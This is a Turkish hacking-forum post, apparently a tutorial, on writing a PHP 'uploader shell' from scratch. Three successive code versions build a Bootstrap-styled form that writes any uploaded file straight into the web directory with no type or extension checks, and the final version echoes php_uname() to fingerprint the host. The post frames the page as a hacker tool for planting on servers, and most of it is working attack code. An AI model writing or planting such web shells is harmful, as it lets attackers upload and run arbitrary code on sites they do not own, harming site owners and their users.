Hoşgeldin Misafir

Php Ile Sıfırdan Shell Yazma | Uploader - 2021

Reisci

Reisci

Yerli Ve Milli Hacker
11 Mar 2020
6,569 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Merhabalar php diline hakim üyelerin kendilerini geliştirebilmesi açısından sıfırdan uploader shell yazacağız görünüme önem verdiğimden dolayı projede bootstrap kullanacağım herhangi bir sorunda konu altına yorum yazabilirseniz müsait vakitte döneceğim

PHP:
<!DOCTYPE HTML>
<html lang="en-US">
<head>
    <meta charset="UTF-8">
    <title>İmha Timi Uploader</title>
</head>
<body>
    <form action="" method="POST" enctype="multipart/form-data">
        <input name="file" type="file" />
        <input type="submit" value="upload" />
    </form>
    <?php
        if($_POST){
            $dosyaUzantisi = substr($_FILES["file"]["name"],-4,4);
            $dosyaAdi = substr($_FILES["file"]["name"],0,-4).$dosyaUzantisi;
            $dosyaYolu = $dosyaAdi;
            if(is_uploaded_file($_FILES["file"]["tmp_name"])){
                move_uploaded_file($_FILES["file"]["tmp_name"],$dosyaYolu);
            }
}
?>
</body>
</html>


En yalın hali bu şekildedir fakat bunu geliştireceğiz fakat geliştirmeden önce kodları yorumlamak istiyorum
Kodlar anlaşılır bir şekilde yazılmış orta seviye php bilgisine sahip olan birisi rahatlıkla anlayacaktır

bir form oluşturuk ve file name değerine sahip bir input ardından submit değerine sahip dosyasımızı yüklemek için tetikleyeceğimiz bir buton oluşturduk... butona basıldığı an post isteği yakalanıyor ve bulunulan dizine yükleme gerçekleşiyor

Son görünüm bu şekildedir fakat geliştirmeye devam edeceğiz


PHP:
PHP:
<?php
if ($_POST) {
$dosyaUzantisi = substr($_FILES["file"]["name"], -4, 4);
$dosyaAdi = substr($_FILES["file"]["name"], 0, -4) . $dosyaUzantisi;
$dosyaYolu = $dosyaAdi;

if (is_uploaded_file($_FILES["file"]["tmp_name"])) {
move_uploaded_file($_FILES["file"]["tmp_name"], $dosyaYolu);
}
}
?>
<!doctype html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">

<!-- Bootstrap CSS -->
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">

<title>Hello, world!</title>
</head>
<body class="bg-dark">
<br><br>
<center><img width="200" src="logo ekle" alt=""></center>
<br><br>

<center>
<form action="" method="POST" enctype="multipart/form-data">
<input type="hidden" name="text"/>
<label class="form-label" for="customFile">Default file input example</label>
<input name="file" class="form-control w-25" id="customFile" type="file" />
<br>
<button class="btn btn-light w-25">Yükle</button>
</form>

</center>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/[email protected]/dist/umd/popper.min.js" integrity="sha384-7+zCNj/IqJ95wo16oMtfsKbZ9ccEh31eOz1HGyDuCQ6wgnyJNSYdrPa03rtR1zdB" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.min.js" integrity="sha384-QJHtvGhmr9XOIpI6YVutG+2QOK9T+ZnN4kzFN1RtK3zEFEIsxhlmWl5/YESvpZ13" crossorigin="anonymous"></script>
</body>
</html>


Bu şekilde başarılı bir şekilde dosyamızı sunucuya yüklüyor fakat farklı özellikler eklenebilir..


Kod:
<?php
if ($_POST) {
$dosyaUzantisi = substr($_FILES["file"]["name"], -4, 4);
$dosyaAdi = substr($_FILES["file"]["name"], 0, -4) . $dosyaUzantisi;
$dosyaYolu = $dosyaAdi;

if (is_uploaded_file($_FILES["file"]["tmp_name"])) {
move_uploaded_file($_FILES["file"]["tmp_name"], $dosyaYolu);
}
}
?>
<!doctype html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">

<!-- Bootstrap CSS -->
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">

<title>Hello, world!</title>
</head>
<body class="bg-dark">
<br><br>
<center><img width="150" src="logo ekle" alt=""></center>
<br><br>
<center>
<div class="alert alert-primary w-25"><?php echo php_uname(); ?></div>

<form action="" method="POST" enctype="multipart/form-data">
<input type="hidden" name="text"/>
<label class="form-label" for="customFile">Default file input example</label>
<input name="file" class="form-control w-25" id="customFile" type="file" />
<br>
<button class="btn btn-light w-25">Yükle</button>
</form>

</center>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/@popperjs/[email protected]/dist/umd/popper.min.js" integrity="sha384-7+zCNj/IqJ95wo16oMtfsKbZ9ccEh31eOz1HGyDuCQ6wgnyJNSYdrPa03rtR1zdB" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.min.js" integrity="sha384-QJHtvGhmr9XOIpI6YVutG+2QOK9T+ZnN4kzFN1RtK3zEFEIsxhlmWl5/YESvpZ13" crossorigin="anonymous"></script>
</body>
</html>


php_uname fonksiyonu ile sunucu uname bilgisini çekerek yazdırdık fakat hala eksik olan bir şeyler mevcut... konuyu tekrar güncelleyeceğim yoğunluktan ötürü uzun tutamıyorum sağlıcakla kalın..